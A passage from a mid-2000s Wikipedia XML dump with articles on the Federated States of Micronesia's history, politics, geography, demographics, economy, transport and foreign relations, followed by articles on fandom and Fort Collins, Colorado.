      <text xml:space="preserve">'''The Federated States of Micronesia''' are located on the [[Caroline Islands]] in the western Pacific Ocean. The ancestors of the Micronesians settled there over 4,000 years ago. A decentralized chieftain-based system eventually evolved into a more centralized economic and religious empire centered on [[Yap]]. [[Europe]]an explorers - first the [[Portugal|Portuguese]] in search of the [[Spice Islands]] ([[Indonesia]]) and then the [[Spain|Spanish]] - reached the Carolines in the 16th century, with the Spanish establishing sovereignty. 

In 1914 German administration ended when the Japanese navy took military possession of the Marshall, Caroline and Northern Mariana Islands.
Japan began its formal administration under a [[League of Nations]] mandate in [[1920]]. During this period, extensive settlement resulted in a Japanese population of over 100,000 throughout Micronesia while the indigenous population was about 40,000. Sugar cane, mining, fishing and tropical agriculture became the major industries.

World War II brought an abrupt end to the relative prosperity experienced during Japanese civil administration. By the War's conclusion most infrastructure had been laid waste by bombing, and the islands and people had been exploited by the Japanese Military to the point of impoverishment.

The United Nations created the [[Trust Territory of the Pacific Islands]] (TTPI) in 1947. [[Ponape]] (then including Kusaie), [[Truk]], Yap, [[Palau]], the Marshall Islands and the Northern Mariana Islands, together constituted the TTPI. The United States accepted the role of Trustee of this, the only United Nations Trusteeship to be designated as a &quot;Security Trusteeship,&quot; whose ultimate disposition was to be determined by the UN Security Council. As Trustee the US was to &quot;promote the economic advancement and self-sufficiency of the inhabitants.&quot;

On [[May 10]], 1979, four of the Trust Territory districts ratified a new constitution to become the [[Federated States of Micronesia]]. The neighboring trust districts of Palau, the Marshall Islands, and the Northern Mariana Islands chose not to participate. The Honorable Tosiwo Nakayama, the former President of the Congress of Micronesia, became the first President of the FSM and formed his Cabinet. The FSM signed a [[Compact of Free Association]] with the U.S., which entered into force on [[November 3]], 1986, marking Micronesia's emergence from trusteeship to independence.  Under the Compact, the U.S. has full authority and responsibility for the defense of the FSM. This security relationship can be changed or terminated by mutual agreement. The Compact provides U.S. grant funds and federal program assistance to the FSM. Amended financial assistance provisions came on-line in FY 2004. The basic relationship of free association continues indefinitely. 

:''See also:'' [[Federated States of Micronesia]]

==External links==
* [http://www.state.gov/r/pa/ei/bgn/1839.htm U.S. State Department Background Note: Micronesia]

{{Oceania in topic|History of}}

[[Category:Federated States of Micronesia]]

[[ca:Història dels Estats Federats de Micronèsia]]
[[es:Historia de los Estados Federados de Micronesia]]
[[pt:História dos Estados Federados da Micronésia]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Federated States of Micronesia</title>
    <id>11495</id>
    <revision>
      <id>41619880</id>
      <timestamp>2006-02-28T15:47:44Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">{{Politics of the Federated States of Micronesia}}
'''Politics of the Federated States of Micronesia''' takes place in a framework of a [[federation|federal]] [[presidential system|presidential]] [[representative democracy|representative democratic]] [[republic]], whereby the [[President of the Federated States of Micronesia]] is both [[head of state]] and [[head of government]] [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and parliament. The [[Judiciary]] is independent of the executive and the legislature.
The internal workings of the [[Federated States of Micronesia]] are governed by the 1979 constitution, which guarantees fundamental [[human rights]] and establishes a separation of governmental powers. The Federation is in free association with the [[United States]]; the Compact of Free Association entered into force [[3 November]] [[1986]].

==Executive branch==
{{office-table}}
|[[President of the Federated States of Micronesia|President]]
|[[Joseph J. Urusemal]]
|
|[[11 May]] [[2003]]
|-
|Vice-President
|[[Redley Killion]]
|
|[[11 May]] [[2003]]
|}
The president and the vice president are elected by Congress from among the four senators-at-large for four-year terms. The president is both the chief of state and head of government. Their congressional seats are then filled by special elections. The president and vice president are supported by an appointed cabinet. 

==Legislative branch==
The [[Congress of Micronesia|Congress]] has 14 non-partisan members, 10 members elected for a two year term in single-seat [[constituency|constituencies]] and 4 members elected for a four year term by [[proportional representation]]. 

==Political parties and elections==
The Federated States of Micronesia elects on national level a [[head of state]] (the [[president]])  and a [[legislature]]. As far as available, at the last elections, [[8 March]] [[2005]], only non-partisans have been elected. The president is elected for a four year term by the parliament. There are no political parties in Micronesia, though they are not banned. Political allegiances depend mainly on family- and island-related factors.
{{Micronesian federal election, 2005}}

==Judicial branch==
The judiciary is headed by the Supreme Court, which is divided into trial and appellate divisions. The president appoints judges with the advice and consent of the Congress. 

==Administrative divisions==
The FSM is divided in four states, [[Chuuk]] (Truk), [[Kosrae]], [[Pohnpei]], and [[Yap]],  has its own constitution, elected legislature, and governor. The state governments maintain considerable power, particularly regarding the implementation of budgetary policies.

==International organization participation==
AsDB, ESCAP, G-77, IBRD, ICAO, IDA, IFC, IMF, Intelsat, IOC, ITU, OPCW, Sparteca, SPC, SPF, UN, UNCTAD, WHO, WMO

==See also==
* [[Federated States of Micronesia]]
* [[Electoral calendar]]
* [[Electoral system]]
* [[Index of political parties]] to browse parties by name
* [[List of political parties]] to browse parties by country
* [[List of political parties by ideology]] to browse parties by name
* [[List of political parties by ideology#Trans-national world groupings and parties|Membership of internationals]] to browse parties by membership of internationals

==External links==
*[http://psephos.adam-carr.net/countries/m/micronesia/ Adam Carr's Election Archive]

{{Oceania in topic|Politics of}}

[[Category:Elections in the Federated States of Micronesia]]
[[Category:Lists of political parties|Micronesia]]
[[Category:Political parties in the Federated States of Micronesia]]
[[Category:Federated States of Micronesia]]

[[pt:Política dos Estados Federados da Micronésia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Federated States of Micronesia</title>
    <id>11496</id>
    <revision>
      <id>35533480</id>
      <timestamp>2006-01-17T12:44:00Z</timestamp>
      <contributor>
        <username>Darwinek</username>
        <id>107928</id>
      </contributor>
      <comment>.added map</comment>
      <text xml:space="preserve">[[Image:CIA-FSM.jpg|350px|right]]
The [[Federated States of Micronesia]] (FSM) consists of 607 islands extending 1,800 miles (2,900 km) across the archipelago of the [[Caroline Islands]] east of the Philippines. The four constituent island groups are [[Yap]], [[Chuuk]] (called Truk until January 1990), [[Pohnpei]] (called Ponape until November 1984), and [[Kosrae]]. The federal capital is [[Palikir]], on Pohnpei.  Separated from the four main island groups are the islands of [[Nukuoro]] and [[Kapingamarangi]], which are geologically and geographically, are part of [[Micronesia]], but linguistically and culturally are part of [[Polynesia]]:  the languages spoken on these two islands are of the [[Samoic languages|Samoic]] family of [[Polynesian languages]].

FSM enjoys a tropical climate, with quite even, warm temperatures throughout the year. Rainfall is generally plentiful, and Pohnpei reputedly is one of the wettest places on earth, with up to 330 inches (8.4 m) of rain per year. Nevertheless, drought conditions do occur periodically throughout FSM, especially when the [[El Niño]] condition moves into the Western Pacific, when groundwater supplies can dwindle to emergency proportions. Tropical typhoons are an annual threat, particularly to the low-lying atolls.

'''Location:'''
[[Oceania]], island group in the northern [[Pacific Ocean]], about three-quarters of the way from [[Hawaii]] to [[Indonesia]]

'''[[Geographic coordinates]]:''' {{coor dm|6|55|N|158|15|E|type:country}}

'''Map references:'''
Oceania

'''Area:'''
&lt;br&gt;''total:''
702 sq km
&lt;br&gt;''land:''
702 sq km
&lt;br&gt;''water:''
0 sq km
&lt;br&gt;''note:''
includes Pohnpei (Ponape), Truk (Chuuk) Islands, Yap Islands, and Kosrae

'''Area - comparative:'''
four times the size of Washington, DC

'''Land boundaries:'''
0 km

'''Coastline:'''
6,112 km

'''Maritime claims:'''
&lt;br&gt;''exclusive economic zone:''
200 nm (370 km)
&lt;br&gt;''territorial sea:''
12 nm

'''Climate:'''
tropical; heavy year-round rainfall, especially in the eastern islands; located on southern edge of the [[typhoon]] belt with occasionally severe damage

'''Terrain:'''
islands vary geologically from high mountainous islands to low, coral atolls; volcanic outcroppings on Pohnpei, Kosrae, and Truk

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Pacific Ocean]] 0 m
&lt;br&gt;''highest point:''
[[Totolom]] 791 m

'''Natural resources:'''
forests, marine products, deep-seabed minerals

'''Land use:'''
&lt;br&gt;''arable land:''
NA%
&lt;br&gt;''permanent crops:''
NA%
&lt;br&gt;''permanent pastures:''
NA%
&lt;br&gt;''forests and woodland:''
NA%
&lt;br&gt;''other:''
NA%

'''Irrigated land:'''
NA sq km

'''Natural hazards:'''
typhoons (June to December)

'''Environment - current issues:'''
overfishing

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Climate Change-Kyoto Protocol, Desertification, Hazardous Wastes, Law of the Sea, Ozone Layer Protection
&lt;br&gt;''signed, but not ratified:''
none of the selected agreements

'''Geography - note:'''
four major island groups totaling 607 islands

==See also==
*[[Federated States of Micronesia]]

[[Category:Geography of the Federated States of Micronesia| ]]
[[Category:Geography by country|Micronesia]]

[[ca:Geografia dels Estats Federats de Micronèsia]]
[[es:Geografía de los Estados Federados de Micronesia]]
[[pt:Geografia dos Estados Federados da Micronésia]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Federated States of Micronesia</title>
    <id>11497</id>
    <revision>
      <id>37379771</id>
      <timestamp>2006-01-30T17:18:54Z</timestamp>
      <contributor>
        <username>Hdstubbs</username>
        <id>496487</id>
      </contributor>
      <comment>Expanded introduction somewhat.</comment>
      <text xml:space="preserve">The '''Demographics of the Federated States of Micronesia''' refers to the population characteristics of people who inhabit the [[Federated States of Micronesia]].  The indigenous population of the [[Federated States of Micronesia]], which is predominantly Micronesian, consists of various ethnolinguistic groups. English has become the common language. Population growth remains high at more than 3%, but is ameliorated somewhat by net emigration. 

The island of [[Pohnpei]] is genetically notable for the prevalence of the extreme form of [[color blindness]] known as [[maskun]].

[[Image:Micronesia demography.png|thumb|550px|center|Demographics of the Federated States of Micronesia, Data of [[FAO]], year 2005 ; Number of inhabitants in thousands.]]
'''Population:'''
133,144 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
NA
&lt;br&gt;''15-64 years:''
NA
&lt;br&gt;''65 years and over:''
NA

'''Population growth rate:'''
3.28% (2000 est.)

'''Birth rate:'''
27.09 births/1,000 population (2000 est.)

'''Death rate:'''
5.95 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
11.65 migrant(s)/1,000 population (2000 est.)

'''Infant mortality rate:'''
33.48 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
68.63 years
&lt;br&gt;''male:''
66.67 years
&lt;br&gt;''female:''
70.62 years (2000 est.)

'''Total fertility rate:'''
3.83 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Micronesian(s)
&lt;br&gt;''adjective:''
Micronesian; Kosrae(s), Pohnpeian(s), Trukese, Yapese

'''Ethnic groups:'''
nine ethnic Micronesian and Polynesian groups

'''Religions:'''
Roman Catholic 50%, Protestant 47%, other and none 3%

'''Languages:'''
English (official and common language), [[Trukese language|Trukese]], [[Pohnpeian language|Pohnpeian]], [[Yapese language|Yapese]], [[Kosrean language|Kosrean]]

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
89%
&lt;br&gt;''male:''
91%
&lt;br&gt;''female:''
88% (1980 est.)

[[Category:Demographics by country|Micronesia]]
[[Category:Federated States of Micronesia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Federated States of Micronesia</title>
    <id>11498</id>
    <revision>
      <id>28775367</id>
      <timestamp>2005-11-19T20:50:32Z</timestamp>
      <contributor>
        <username>Bunchofgrapes</username>
        <id>198074</id>
      </contributor>
      <minor />
      <comment>link black pepper</comment>
      <text xml:space="preserve">'''Economy - overview:'''
Economic activity of the [[Federated States of Micronesia]] consists primarily of [[subsistence farming]] and [[fishing]]. The islands have few [[mineral]] deposits worth exploiting, except for high-grade phosphate. The potential for a tourist industry exists, but the remoteness of the location and a lack of adequate facilities hinder development. Financial assistance from the US is the primary source of revenue, with the US pledged to spend $1.3 billion in the islands in 1986-2001. Geographical isolation and a poorly developed infrastructure are major impediments to long-term growth.

Under the terms of the [[Compact of Free Association]], the [[United States]] provided FSM with around $2 billion in grants and services from 1986 to 2001. The Compact's financial terms are being renegotiated for an extension period. In 2001 the U.S. provided more than $84 million in Compact grants--an amount equivalent to over one-third of FSM's [[gross domestic product|GDP]]--plus more than $20 million through other federal programs. Total official development assistance from all sources was more than $100 million in 2001, with nearly 90% of that total coming from the U.S.

The FSM public sector plays a central role in the economy as the administrator of the Compact money. The national and state-level governments employ over one-half of the country's workers and provide services accounting for more than 40%of GDP. Faced with the potential decrease or cessation of some of the assistance programs upon the Compact's financial provisions'expiry in 2001, the Government of the FSM in 1996 began to implement a program of economic reforms designed to reduce the role of the public sector in the economy.

The fishing industry is highly important. Foreign commercial fishing fleets pay over $20 million annually for the right to operate in FSM territorial waters. These licensing fees account for nearly 30% of domestic budgetary revenue. Additionally, exports of marine products, mainly reexports of fish to Japan, account for nearly 85% of export revenue.

The tourist industry is present but has been hampered by a lack of infrastructure. Visitor attractions include scubadiving in each state, World War II battle sites, and the ancient ruined city of [[Nan Madol]] on Pohnpei. Some 15,000 tourists visit the islands each year. The Asian Development Bank has identified tourism as one of FSM's highest potential growth industries.

Farming is mainly subsistence, and its importance is declining. The principal crops are coconuts, bananas, betel nuts, cassava, and sweet potatoes. Less than 10% of the formal labor force and less than 7% of export revenue come from the agriculture sector. Manufacturing activity is modest, consisting mainly of a garment factory in Yap and production of buttons from trochus shells.

The large inflow of official assistance to FSM allows it to run a substantial trade deficit and to have a much lighter tax burden than other states in the region (11% of GDP in FSM compared to 18%-25% elsewhere). The government also borrowed against future Compact disbursements in the early 1990s, yielding an external debt of $111 million in 1997 (over 50% of GDP). 

'''GDP:'''
purchasing power parity - $240 million (1997 est.)
&lt;br&gt;''note:''
GDP is supplemented by grant aid, averaging perhaps $100 million annually

'''GDP - real growth rate:'''
3% (1997 est.)

'''GDP - per capita:'''
purchasing power parity - $2,000 (1997 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
19%
&lt;br&gt;''industry:''
4%
&lt;br&gt;''services:''
77% (1996 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
4% (1996 est.)

'''Labor force:'''
NA

'''Labor force - by occupation:'''
two-thirds are government employees

'''Unemployment rate:'''
27% (1989)

'''Budget:'''
&lt;br&gt;''revenues:''
$58 million
&lt;br&gt;''expenditures:''
$52 million, including capital expenditures of $4.7 million (FY95/96 est.)

'''Industries:'''
tourism, construction, fish processing, craft items from shell, wood, and pearls

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
NA kWh

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
NA%
&lt;br&gt;''hydro:''
NA%
&lt;br&gt;''nuclear:''
NA%
&lt;br&gt;''other:''
NA%

'''Electricity - consumption:'''
NA kWh

'''Electricity - exports:'''
NA kWh

'''Electricity - imports:'''
NA kWh

'''Agriculture - products:'''
[[black pepper]], tropical fruits and vegetables, [[coconut]]s, [[cassava]] ([[tapioca]]), [[sweet potato]]es; [[pig]]s, [[chicken]]s

'''Exports:'''
$73 million (f.o.b., 1996 est.)

'''Exports - commodities:'''
fish, garments, [[banana]]s, [[black pepper]]

'''Exports - partners:'''
[[Japan]], [[United States]], [[Guam]]

'''Imports:'''
$168 million (c.i.f., 1996 est.)

'''Imports - commodities:'''
food, manufactured goods, machinery and equipment, beverages

'''Imports - partners:'''
US, Japan, Australia

'''Debt - external:'''
$111 million (1997 est.)

'''Economic aid - recipient:'''
$79 million (1998); note - under terms of the Compact of Free Association, the US will provide $1.3 billion in grant aid during the period 1986-2001

'''Currency:'''
1 United States dollar (US$) = 100 cents

'''Exchange rates:'''
US currency is used

'''Fiscal year:'''
[[1 October]] - [[30 September]]

[[es:Economía de los Estados Federados de Micronesia]]
[[Category:Federated States of Micronesia]]
[[Category:Economies by country|Micronesia Federated States of]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Federated States of Micronesia</title>
    <id>11499</id>
    <revision>
      <id>15909243</id>
      <timestamp>2004-11-12T22:19:17Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[Category:Federated States of Micronesia]]</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
8,000 (1995)

'''Telephones - mobile cellular:'''
NA

'''Telephone system:'''
&lt;br&gt;''domestic:''
islands interconnected by shortwave radiotelephone (used mostly for government purposes)
&lt;br&gt;''international:''
[[satellite]] earth stations - 4 [[Intelsat]] ([[Pacific Ocean]])

'''[[Radio]] [[broadcasting|broadcast]] stations:'''
AM 5, FM 1, shortwave 0 (1998)

'''Radios:'''
NA

'''[[Television]] broadcast stations:'''
2 (1997)

'''Televisions:'''
NA

'''[[Internet Service Provider]]s (ISPs):'''
Internet service provided by Government owned telecom company [http://www.fm/]

'''[[Country code]]:''' FM

:''See also :'' [[Federated States of Micronesia]]

[[Category:Communications by country|Federated States of Micronesia]]
[[Category:Federated States of Micronesia]]</text>
    </revision>
  </page>
  <page>
    <title>Federated States of Micronesia/Transport</title>
    <id>11500</id>
    <revision>
      <id>39213738</id>
      <timestamp>2006-02-11T15:34:09Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Transport in the Federated States of Micronesia]]</text>
    </revision>
  </page>
  <page>
    <title>Transport in the Federated States of Micronesia</title>
    <id>11501</id>
    <revision>
      <id>39078623</id>
      <timestamp>2006-02-10T15:51:02Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <minor />
      <comment>moved [[Transportation in the Federated States of Micronesia]] to [[Transport in the Federated States of Micronesia]]: In line with similar articles</comment>
      <text xml:space="preserve">{{CIA}}

'''[[Railway]]s:'''
0 km

'''[[Highway]]s:'''
&lt;br&gt;''total:''
240 km
&lt;br&gt;''paved:''
42 km
&lt;br&gt;''unpaved:''
198 km (1996 est.)

'''Ports and [[harbor]]s:'''
[[Colonia]] (Yap), [[Kolonia]] ([[Pohnpei]]), [[Lele]], [[Moen]]

'''[[Merchant marine]]:'''
none (1999 est.)

'''[[Airport]]s:'''
6 (1999 est.)

'''Airports - with paved runways:'''
&lt;br&gt;''total:''
5
&lt;br&gt;''1,524 to 2,437 m:''
4
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

'''Airports - with unpaved runways:'''
&lt;br&gt;''total:''
1
&lt;br&gt;''914 to 1,523 m:''
1 (1999 est.)

:''See also :'' [[Federated States of Micronesia]]

{{Oceania in topic|Transport in}}

[[Category:Federated States of Micronesia]]
[[Category:Transportation by country|Federated States of Micronesia]]</text>
    </revision>
  </page>
  <page>
    <title>Military of the Federated States of Micronesia</title>
    <id>11502</id>
    <revision>
      <id>33312755</id>
      <timestamp>2005-12-30T23:41:35Z</timestamp>
      <contributor>
        <username>Quasipalm</username>
        <id>199342</id>
      </contributor>
      <text xml:space="preserve">The [[Federated States of Micronesia]] (FSM) is a sovereign, self-governing state in free association with the [[United States]], which is wholly responsible for its defense.

==See also==
* [[Military of the United States]]
* [[List of countries without an army]]


{{Oceania-stub}}
{{mil-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of the Federated States of Micronesia</title>
    <id>11503</id>
    <revision>
      <id>15909247</id>
      <timestamp>2005-04-21T22:24:14Z</timestamp>
      <contributor>
        <username>Ryanaxp</username>
        <id>51906</id>
      </contributor>
      <minor />
      <comment>removed sentence about support of Israel being &quot;nonintuitive&quot;</comment>
      <text xml:space="preserve">The Government of the [[Federated States of Micronesia]] (FSM) conducts its own foreign relations.
Since independence, the FSM has established diplomatic relations with a number of nations, including most of its Pacific neighbors.
Regional cooperation through various multilateral organizations is a key element in its foreign policy.
The FSM became a member of the [[United Nations]] in [[1991]]. 

The Governments of the FSM and the U.S. signed the final version of the [[Compact of Free Association]] on [[October 1]], 1982.
The Compact went into effect on [[November 3]], 1986, and the FSM became a sovereign nation in free association with the United States.
Under the Compact, the U.S. has full authority and responsibility for the defense of the FSM.
This security relationship can be changed or terminated by mutual agreement.
The Compact provides U.S. grant funds and federal program assistance to the FSM.
The basic relationship of free association continues indefinitely, but certain economic and defense provisions of the Compact expire in 2001, subject to renegotiation.
Negotiations on extending the Compact began in November 1999.

A notable aspect of Micronesian foreign relations is that it is one of the most consistent supporters of [[Israel]] (along with the [[United States]]) in international affairs.  

'''Disputes - international:'''
none

:''See also :'' [[Federated States of Micronesia]]

[[Category:Federated States of Micronesia]]</text>
    </revision>
  </page>
  <page>
    <title>Fandom</title>
    <id>11504</id>
    <revision>
      <id>41848741</id>
      <timestamp>2006-03-02T03:19:51Z</timestamp>
      <contributor>
        <username>Marcg106</username>
        <id>194738</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Fandom''' (from the noun ''fan'' and the affix ''-dom'', as in ''kingdom'', ''dukedom'', etc.) refers to a community of keen [[aficionado]]s who share a common interest in any phenomenon, such as [[author]]s, [[hobby|hobbies]], [[genre]]s or [[fashion]]s. Fandom as a term can also be used to refer to the single interconnected network of these individual fandoms, many of which overlap.  While the term is applied to social networks surrounding many [[novelty]] interests, it has its roots in appreciation for [[science fiction]].

[[Fan (aficionado)|Fan]]s (or the plural ''fen'') typically are interested in even minor details of the object of their fandom; this is what differentiates them from those with only casual interest. 

The objects of a fandom typically relate to the arts, sports or entertainment. For example, it would be unusual to refer to an accountant who is very interested in the details of accounting as a &quot;fan&quot; of accounting. 

Members of a fandom associate with one another, often attending [[fan convention]]s (such as [[science fiction convention]]s), and publishing and exchanging [[fanzine]]s. Today, these communities are often online, especially for less well-known source material.

Some fans also write [[fan fiction]], stories based around the universe and characters of their chosen fandom. Some also dress in [[costumes]] (&quot;[[cosplay]]&quot;) or recite lines of [[dialogue]] either out-of-context or as part of a group [[reenactment]]. 

The term &quot;fandom&quot; is particularly associated with fans of the science fiction and [[fantasy]] [[genre]]s, a community that dates back to the [[1930]]s and has held the [[World Science Fiction Convention]] since [[1939]]. The [[Oxford English Dictionary]] traces the usage of the term back as far as 1903, with many of its documented references referring to sports fandom.

The term is also commonly associated with anime/manga. Serious fans of this subject are also called [[otaku]].

&quot;Fandom&quot; is also the name of a [[Documentary film|documentary]] / [[mockumentary]] about a fan obsessed with [[Natalie Portman]].

== See also ==
* [[Fanboy]]
* [[Fanposter]]
* [[Furry fandom]]
* [[Harry Potter fandom]]
* [[Otaku|Otaku (anime fandom)]]
* [[Science fiction fandom]]
* [[Tolkien fandom]]
* [[Trekkie|Trekkie (''Star Trek'' fandom)]]



[[Category:Fandom]]

[[cs:Fandom]]
[[de:Fantum]]
[[es:Fandom]]
[[fr:Fandom]]
[[it:Fandom]]
[[he:פנדום]]
[[pl:Fandom]]
[[sv:Fandom]]</text>
    </revision>
  </page>
  <page>
    <title>Filk</title>
    <id>11505</id>
    <revision>
      <id>15909249</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Filk music]]
</text>
    </revision>
  </page>
  <page>
    <title>Ft. Collins, Colorado</title>
    <id>11506</id>
    <revision>
      <id>15909250</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Fort Collins, Colorado]]
</text>
    </revision>
  </page>
  <page>
    <title>Fort Collins, Colorado</title>
    <id>11507</id>
    <revision>
      <id>41521891</id>
      <timestamp>2006-02-27T22:45:14Z</timestamp>
      <contributor>
        <username>BabuBhatt</username>
        <id>546909</id>
      </contributor>
      <text xml:space="preserve">[[Image:DSCN5380 horsetoothmountainwithhorse e.jpg|225px|right|thumb|Horsetooth Rock, atop [[Horsetooth Mountain]], is often used as a symbol of Fort Collins.]]

'''Fort Collins''', situated on the [[Cache la Poudre River]], is the largest city and [[county seat]] of [[Larimer County, Colorado]].  It is a large college town (home to [[Colorado State University]]) in the north central region of the state, along what is known as the [[Colorado Front Range]].  As of the [[2000]] census, the city had a total population of 118,652.

== History ==
Fort Collins was founded as a military outpost of the [[United States Army]] in [[1864]]. A previous encampment, known as [[Camp Collins]], on the [[Cache La Poudre River]] near present-day [[Laporte, Colorado|Laporte]], was destroyed by a flood in June 1864. Afterwards, the commander of the fort wrote to Colonel William O. Collins at [[Fort Laramie]] in southeast Wyoming, suggesting that a site several miles further down the Poudre would make a good location for the fort. The fort never had walls.

Settlers began arriving in the vicinity of the fort nearly immediately. The fort was decommissioned in [[1868]] and the original fort site is now adjacent to the present historic &quot;Old Town&quot; portion of the city. The town was formally incorporated in 1873. Stone quarrying, sugar beet farming, and sheep were among the areas's earliest industries. Fort Collins is home to [[Colorado State University]], Colorado's original land-grant college (formerly known as Colorado Agricultural and Mechanical College). Other large employers include [[Hewlett-Packard]], Poudre Valley Health System, and Poudre School District. For more information on local history see the [[Fort Collins Public Library]]'s local historical archives. http://library.ci.fort-collins.co.us/.

== Geography ==
[[Image:COMap-doton-FortCollins.PNG|right|Location of Fort Collins, Colorado]]
Fort Collins is located at 40&amp;deg;33'33&quot; North, 105&amp;deg;4'41&quot; West (40.559238, -105.078302){{GR|1}}. The city is situated just east of the Rocky Mountain foothills of the Northern Front Range approximately 70 miles north of Denver, Colorado. Prominent geographic landmarks include Horsetooth Reservoir and Horsetooth Mountain- so named because of a tooth shaped granite rock that dominates the city's western skyline.

According to the [[United States Census Bureau]], the city has a total area of 122.1 [[square kilometre|km&amp;sup2;]] (47.1 [[square mile|mi&amp;sup2;]]).  120.5 km&amp;sup2; (46.5 mi&amp;sup2;) of it is land and 1.6 km&amp;sup2; (0.6 mi&amp;sup2;) of it is water.  The total area is 1.27% water.

== Demographics ==
As of the [[census]]{{GR|2}} of [[2000]], there are 118,652 people, 45,882 households, and 25,785 families residing in the city.  The [[population density]] is 984.4/km&amp;sup2; (2,549.3/mi&amp;sup2;).  There are 47,755 housing units at an average density of 396.2/km&amp;sup2; (1,026.0/mi&amp;sup2;).  The racial makeup of the city is 89.63% [[Race (U.S. Census)|White]], 1.02% [[Race (U.S. Census)|Black]] or [[Race (U.S. Census)|African American]], 0.60% [[Race (U.S. Census)|Native American]], 2.48% [[Race (U.S. Census)|Asian]], 0.12% [[Race (U.S. Census)|Pacific Islander]], 3.61% from [[Race (U.S. Census)|other races]], and 2.53% from two or more races.  8.77% of the population are [[Hispanic American|Hispanic]] or [[Race (U.S. Census)|Latino]] of any race.

Fort Collins is home to four major high schools.  They include Fort Collins High School, Rocky Mountain High School, [[Poudre High School]], and Fossil Ridge High School.  Fossil Ridge is currently in its second year.  The educational system is run by Poudre School District.

[[Image:DSCN5499 fortcollinshighschool e.jpg|200px|left|thumb|Old Fort Collins High School, now part of Colorado State University]]

There are 45,882 households out of which 29.0% have children under the age of 18 living with them, 44.9% are [[Marriage|married couples]] living together, 7.9% have a female householder with no husband present, and 43.8% are non-families. 26.0% of all households are made up of individuals and 5.9% have someone living alone who is 65 years of age or older.  The average household size is 2.45 and the average family size is 3.01.

In the city the population is spread out with 21.5% under the age of 18, 22.1% from 18 to 24, 31.5% from 25 to 44, 17.0% from 45 to 64, and 7.9% who are 65 years of age or older.  The median age is 28 years.  For every 100 females there are 100.9 males.  For every 100 females age 18 and over, there are 99.7 males.

The median income for a household in the city is $44,459, and the median income for a family is $59,332. Males have a median income of $40,856 versus $28,385 for females. The [[per capita income]] for the city is $22,133.  14.0% of the population and 5.5% of families are below the [[poverty line]].  Out of the total population, 8.3% of those under the age of 18 and 5.8% of those 65 and older are living below the poverty line.

The largest employer in Fort Collins is [[Colorado State University]]. Other major employers in Fort Collins include [[Hewlett Packard]], [[Anheuser-Busch]], [[Poudre Valley Hospital]], Poudre School District, and Avago Technologies, formerly HP's components spinoff [[Agilent Technologies]].

==Culture==
Much of Fort Collins' culture is centered around the students of [[Colorado State University]].  Driven by a large college-age demographic, the city has a thriving local music circuit, and is home to a number of well-recognized microbreweries.  Old Town, a historic down-town shopping district, hosts a number of large festivals each year.  For example, the New West Fest occurs in late summer, featuing local cuisine, music, and businesses.  The Lincoln Center is home to the Fort Collins Symphony Orchestra and regularly attracts national touring companies of Broadway plays.  Beyond the city limits, the Fort Collins Balloon Festival attracts hot air balloon enthusiasts from around the world.

[[image:Fort_Collins_Brewfest_2004.jpg|frame|none|The 2004 Colorado Brewers Festival in Fort Collins]]

There is a thriving beer culture in the city.  In addition to an [[Anheuser-Busch]] brewery — operating just north of the city since 1984 — there are three microbreweries, the [[New Belgium Brewing Company]], the [http://www.odellbrewing.com Odell Brewing Company], and the [http://www.fortcollinsbrewery.com Fort Collins Brewery].  New Belgium is the largest of the local microbreweries, with regional distribution west of the Mississippi.  There are several brewpubs, including the original C.B. &amp; Potts Restaurant and its Big Horn Brewery; CooperSmith's Pub &amp; Brewing, a local mainstay since 1989; and one of Conor O'Neill's Irish Pub &amp; Restaurant's three locations.  The [http://downtownfortcollins.com/festivals.php/brewfest Colorado Brewer's Festival] is held in late June annually in Fort Collins.  The outdoor event is held in Fort Collins' old town area and features beers from as many as 45 brewers from the state of Colorado and averages around 30,000 attendees.

==Facilities==

*Transmitter of [[WWVB]]
*[[Poudre Valley Hospital]]

== External links ==
*[http://fcgov.com Fort Collins City Government]
*[http://www.coloradoan.com/ Fort Collins Coloradoan]
*[http://www.fortnet.org Fort Collins Community Portal]
*[http://www.colostate.edu Colorado State University]
*[http://fortcollins.gennetten.com 3.7 Gigapixel '''aerial photo''' (much higher res than Terraserver)]
{{Mapit-US-cityscale|40.559238|-105.078302}}

{{Colorado}}

[[Category:Cities in Colorado]]
